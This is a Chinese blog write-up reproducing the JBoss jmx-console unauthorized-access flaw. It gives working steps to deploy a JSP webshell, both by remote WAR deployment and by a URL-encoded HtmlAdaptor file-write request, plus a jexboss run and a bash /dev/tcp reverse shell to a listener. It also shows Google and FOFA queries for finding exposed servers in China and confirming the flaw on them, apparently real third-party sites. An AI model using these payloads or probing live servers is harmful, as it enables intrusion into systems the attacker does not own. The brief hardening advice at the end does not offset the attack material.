天天看點

JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

目錄

0x00 前言

0x01 JBOSS未授權通路簡介

0x02 JBOSS未授權複現一

1、Docker容器搭建環境

2、通路127.0.0.1,找到漏洞點

3、生成warSehll

4、apache2部署遠端伺服器

4、通過addurl參數遠端部署Shell

5、成功getshell,上傳永久shell

0x03 JBOSS未授權複現二

1、查找JBOSS站點

2、JBOSS漏洞檢測

0x04 JBOSS未授權複現三

0x05 JBOSS未授權防護

0x06 後記

0x07 知識連結

0x00 前言

        習正常而明其理,探非凡且有所見。 --塗寐

0x01 JBOSS未授權通路簡介

        JBOSS是一個基于J2EE的開放源代碼應用伺服器,也是一個管理EJB的容器和伺服器,預設使用8080端口監聽。

        JBOSS未授權通路漏洞表現為,在預設情況下無需賬密就可以直接通路 http://127.0.0.1:8080/jmx-console 進入管理控制台,進而導緻網站資訊洩露、伺服器被上傳shell(如反彈shell,wget寫webshell檔案),最終網站被攻陷。

        該漏洞影響所有低版本的JBOSS,對其下使用者影響深遠。

0x02 JBOSS未授權複現一

1、Docker容器搭建環境

#搜尋JBoss環境
docker search testjboss

#選擇需要的環境
docker pull testjboss/jboss

#執行個體化testjboss/jboss鏡像
docker run -d-p 80:8080 testjboss/jboss
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

2、通路127.0.0.1,找到漏洞點

JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

3、生成warSehll

#自備腳本tumei.jsp
#生成war指令
jar cvf admin.war tumei.jsp
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

4、apache2部署遠端伺服器

#安裝apache2
apt-get install apache2
#apache2所有檔案所在位置
/etc/apache2
#apache2運作檔案
/etc/init.d/apache2

#檢視kali預設web站點位置是否含有/var/www/html
cd /var/www/html
#不存在,建立/var/www/html目錄
mkdir -p /var/www/html
#将admin.war移入/var/www/html
cp admin.war /var/www/html

#開啟apache2服務
service apache2 start
#确認已開啟
service apache2 status
#通路web站點
http://127.0.0.1/
http://192.168.31.133/
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

4、通過addurl參數遠端部署Shell

#遠端伺服器中war包的位置
http://192.168.31.133/admin.war
#war上傳成功,會顯示成功界面。
#也可以直接通路http://127.0.0.1/jmx-console/,檢視http://127.0.0.1/jmx-console/,是否含有對應的war包
#抑或,通路http://127.0.0.1/admin/,顯示war包中檔案tumei.jsp
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

5、成功getshell,上傳永久shell

#由于目前目錄的shell僅能臨時擷取權限,是以把shell傳到jmx-console的預設目錄來鞏固權限
#jmx-console的預設目錄路徑
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/
#直接利用檔案管理傳shell,避免臨時目錄下的shell被删無法連接配接
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

0x03 JBOSS未授權複現二

1、查找JBOSS站點

①Google文法産找相關站點(有丢丢少,大概是浏覽器的問題吧):inurl:"8080/jmx-console/"

②FOFA空間搜尋引擎語句:"jboss" && port="8080" && country="CN"

JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

2、JBOSS漏洞檢測

①各位師傅若有閑情,可以先使用nmap工具掃描8080端口是否開放(nmap -PN ip),但筆者使用fofa搜尋時限定掃描了8080端口,直接通路http://ip:8080/jmx-console和http://ip:8080/web-console就好了,成功,确認未授權的存在。

JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

②手工傳馬,直接URL中寫入大佬的一句話shell(寫入檔案功能),并可以通過腳本(shell.jsp)在其同級目錄下建立其他檔案(注意進行編碼繞過)。

#寫檔案功能
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
           
#arg0:war包的名稱,arg1:檔案名稱,arg2:檔案字尾名,arg3:檔案内容
#f=檔案名,t=腳本檔案内容(注意進行編碼繞過)
#檔案寫入舉例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh
#檔案通路舉例
http://127.0.0.1:8080/August/admin.txt
#對應URL解碼
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

0x04 JBOSS未授權複現三

#嘗試下大佬寫的檢測工具:https://github.com/joaomatosf/jexboss
#jexboss是一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測并利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,并且可以獲得一個shell。

#git下載下傳jexboss
git clone https://github.com/joaomatosf/jexboss
#切換jexboss所在目錄
cd jexboss-master/
#執行檢測192.168.31.131,此
處端口為80
python3 jexboss.py -u 192.168.31.131:80

#機器A反彈shell到其他機器(B)
#B機器(192.168.31.131)開啟監聽
nc -l -p 666
#A利用jexboss連接配接jboss後,反彈shell到機器B的666端口
bash -i >& /dev/tcp/192.168.31.131/666 0>&1
           
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結
JBOSS未授權漏洞詳細複現0x00 前言0x01 JBOSS未授權通路簡介0x02 JBOSS未授權複現一0x03 JBOSS未授權複現二0x04 JBOSS未授權複現三0x05 JBOSS未授權防護0x06 後記0x07 知識連結

0x05 JBOSS未授權防護

        1、對jmx-console和web-console界面通路增加強認證。

        2、關閉jmx-console和web-console,提高安全性。

0x06 後記

        漏洞複現很簡單,嘗試了多種方式,非常不錯,學到挺多的。原本想着嘗試學大佬做防護,但重新開機容器後看不出有什麼改變,還是繼續努力吧。 --塗寐

0x07 知識連結

JBOSS未授權通路漏洞複現 - 走看看

Jboss未授權通路漏洞複現

WEB中間件--Jboss未授權通路,加強,繞過 - 曉楓v5 - 部落格園